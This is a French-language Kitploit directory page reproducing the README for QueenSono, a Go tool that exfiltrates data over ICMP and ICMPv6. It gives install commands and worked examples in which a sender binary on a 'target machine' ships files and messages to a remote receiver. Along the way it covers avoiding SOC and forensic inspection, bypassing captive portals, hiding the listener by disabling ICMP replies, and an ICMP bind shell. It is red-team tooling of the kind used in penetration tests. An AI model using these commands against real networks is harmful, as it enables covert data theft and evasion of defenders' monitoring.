Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
QueenSono — Binaire Golang pour l'exfiltration de données avec le protocole ICMP (+ bindshell ICMP, tunneling HTTP via ICMP, ...) | Kitploit
Outils/GitHubGitHub/ariary/queensono
Exfiltration de DonnéesSécurité RéseauTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubariary/queensono

QueenSono

Binaire Golang pour l'exfiltration de données avec le protocole ICMP (+ bindshell ICMP, tunneling HTTP via ICMP, ...)

Voir le dépôt
168272il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

QueenSono Exfiltration de données ICMP



Un package Golang pour l'exfiltration de données avec le protocole ICMP (IPv4 et IPv6).

L'outil QueenSono repose uniquement sur le fait que le protocole ICMP n'est pas surveillé. C'est assez courant. Il pourrait également être utilisé dans un système avec une inspection ICMP basique (par exemple, un observateur de fréquence et de longueur de contenu) ou pour contourner l'étape d'authentification avec un portail captif (utilisé par de nombreux Wi-Fi publics pour authentifier les utilisateurs après la connexion au Wi-Fi, par exemple les Wi-Fi d'aéroports). Il tente d'imiter PyExfil (et d'autres) avec l'idée que la machine cible n'a pas nécessairement Python installé (donc fournir un binaire pourrait être utile).

Installer · Utiliser · Notes · Demander une fonctionnalité · 🎁

Install

Avec curl

> Depuis la release

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Avec go

> Via go install

Assurez-vous que $GOPATH est dans votre $PATH avant

Installer qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

Installer qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> Installer le binaire depuis les sources

Clonez le dépôt et téléchargez les dépendances localement :

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Pour construire l'expéditeur de paquets ICMP qssender :

root@kitploit:~
 build.queensono-sender

Pour construire le récepteur de paquets ICMP qsreceiver :

root@kitploit:~
 build.queensono-receiver

Utilisation

qssender est le binaire qui enverra les paquets ICMP au récepteur, c'est donc le binaire que vous devez transférer sur votre machine cible.

qsreceiver est le récepteur sur votre machine locale (ou partout où vous pouvez recevoir des paquets ICMP)

Toutes les commandes et options des binaires peuvent être trouvées en utilisant --help

Exemple 1 : Envoi avec « ACK » 🔙

> Dans cet exemple, nous voulons envoyer un gros fichier et attendre la réponse d'écho pour accuser réception des paquets (ACK).

demo

Sur la machine locale :

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Explication
  • -l 0.0.0.0 écouter sur toutes les interfaces pour les paquets ICMP
  • -f received_bible.txt sauvegarder les données reçues dans un fichier
  • -p afficher une barre de progression des données reçues
  • Sur la machine cible :

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Explication
  • send file pour envoyer un fichier (bible.txt est le fichier en question)
  • -d 2 envoyer un paquet toutes les 2 secondes
  • -l 0.0.0.0 l'adresse d'écoute pour la réponse d'écho
  • -r 10.0.0.92 l'adresse de ma machine distante avec qsreceiver à l'écoute
  • -s 50000 la taille des données que je souhaite envoyer dans chaque paquet
  • Exemple 2 : Envoi sans « ACK » 🙈

    > Dans cet exemple, nous voulons envoyer un message sans attendre la réponse d'écho (cela pourrait être utile si le pare-feu de la cible filtre les paquets ICMP entrants)

    demo

    Sur la machine locale :

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Explication
  • receive truncated 1 n'attend pas indéfiniment si nous n'avons pas reçu tous les paquets. (1 est le délai utilisé avec qssender)

  • pour la discrétion, vous pouvez empêcher le noyau de répondre à toute requête ICMP
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    Sur la machine cible :

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Explication
  • -N option noreply (ne pas attendre la réponse d'écho)
  • Exemple 3 : Envoi de données chiffrées 🔒

    > Dans cet exemple, nous voulons envoyer un message chiffré. Comme la ligne de commande pourrait être espionnée, nous utilisons un chiffrement asymétrique (si la clé fuit, ce n'est pas un problème de toute façon)

    demo

    Sur la machine locale :

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    Explication
  • --encrypt utiliser un échange de chiffrement. Cela générera une paire de clés publique/privée. La clé publique sera utilisée par qssender pour chiffrer les données, la clé privée est utilisée pour les déchiffrer avec receiver
  • Sur la machine cible :

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Explication
  • --key fournir la clé pour le chiffrement des données. Utilisez celle fournie par la commande qsreceiver
  • À propos du chiffrement

    Le chiffrement RSA est utilisé pour garder confidentielles les données échangées. Il pourrait être utile, par exemple, pour éviter qu'un SOC ne voie quelles données sont échangées (ou pour des analyses forensiques) avec une analyse basique, ou simplement pour la confidentialité.

    Mais cela a un coût. Le choix du chiffrement asymétrique est motivé par le fait que la clé de chiffrement est saisie sur la ligne de commande (elle pourrait donc être récupérée facilement). Ainsi, nous chiffrons les données avec la clé publique. De cette façon, si quelqu'un récupère la clé de chiffrement, il ne sera pas possible de déchiffrer le message. Mais la clé publique est plus petite que la clé privée, donc elle chiffre des messages plus petits. De plus, c'est coûteux en calcul.

    Un autre point, comme nous voulons limiter la taille des données / les requêtes ping (pour éviter la détection, les bugs, etc.), utilisez le chiffrement uniquement si nécessaire car la taille de sortie du message sera (devrait) toujours égale à la taille du Modulus (partie de la clé) qui est grande.

    Amélioration

    Actuellement, le message entier est chiffré puis divisé en morceaux pour être envoyé. De l'autre côté, nous attendons tous les paquets (morceaux), reconstruisons notre message puis le déchiffrons. Mais cela fonctionne ⇔ nous avons reçu TOUS les morceaux, sinon le déchiffrement échouera.

    => Nous pourrions chiffrer chaque morceau en fonction du paramètre -s, ainsi nous pourrions les déchiffrer séparément.

    Exemple 4 : Réception de données via la réponse d'écho ↩️

    > Dans cet exemple, la machine locale renvoie des données à la cible via des réponses d'écho ICMP. Utile lorsque l'ICMP sortant de la cible est filtré mais que la cible peut recevoir des réponses d'écho.

    Sur la machine locale :

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    Explication
  • reply-send attend un déclencheur de qssender, puis renvoie les données sous forme de réponses d'écho ICMP
  • -l 0.0.0.0 écouter sur toutes les interfaces pour le paquet déclencheur
  • -d 1 délai d'une seconde entre chaque paquet de réponse
  • Sur la machine cible :

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    Explication
  • receive envoie un déclencheur à qsreceiver et collecte les données des réponses d'écho entrantes
  • -l 0.0.0.0 l'adresse d'écoute pour les réponses d'écho entrantes
  • -r 10.0.0.92 l'adresse de ma machine locale avec qsreceiver reply-send en attente
  • Prise en charge IPv6

    QueenSono prend en charge ICMPv6 de manière transparente. Passez une adresse IPv6 et le protocole est détecté automatiquement — aucun indicateur supplémentaire nécessaire.

    Sur la machine locale :

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    Sur la machine cible :

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    Explication
  • -l :: écouter sur toutes les interfaces IPv6
  • -r fe80::1 adresse IPv6 de la machine distante — déclenche ICMPv6 automatiquement
  • Tous les modes (envoi avec ACK, envoi sans ACK, chiffré, réponse d'écho) fonctionnent de la même manière sur IPv6.

    Bonus

    Voir la section hack pour des choses amusantes avec QueenSono :

    • Shell lié via ICMP
    • Tunnel HTTP sur ICMP

    Notes

    • fonctionne uniquement sur Linux (en raison de l'utilisation du package golang net icmp)
    • nécessite les capacités cap_net_raw
    • prend en charge à la fois IPv4 (ICMP) et IPv6 (ICMPv6) — détection automatique depuis l'adresse
    • si vous envoyez réellement des paquets ICMP sur 2 machines différentes et que vous attendez la réponse d'écho, assurez-vous d'utiliser une IP accessible par la machine distante comme adresse d'écoute (n'utilisez pas localhost ou équivalent)
    Télécharger l’outil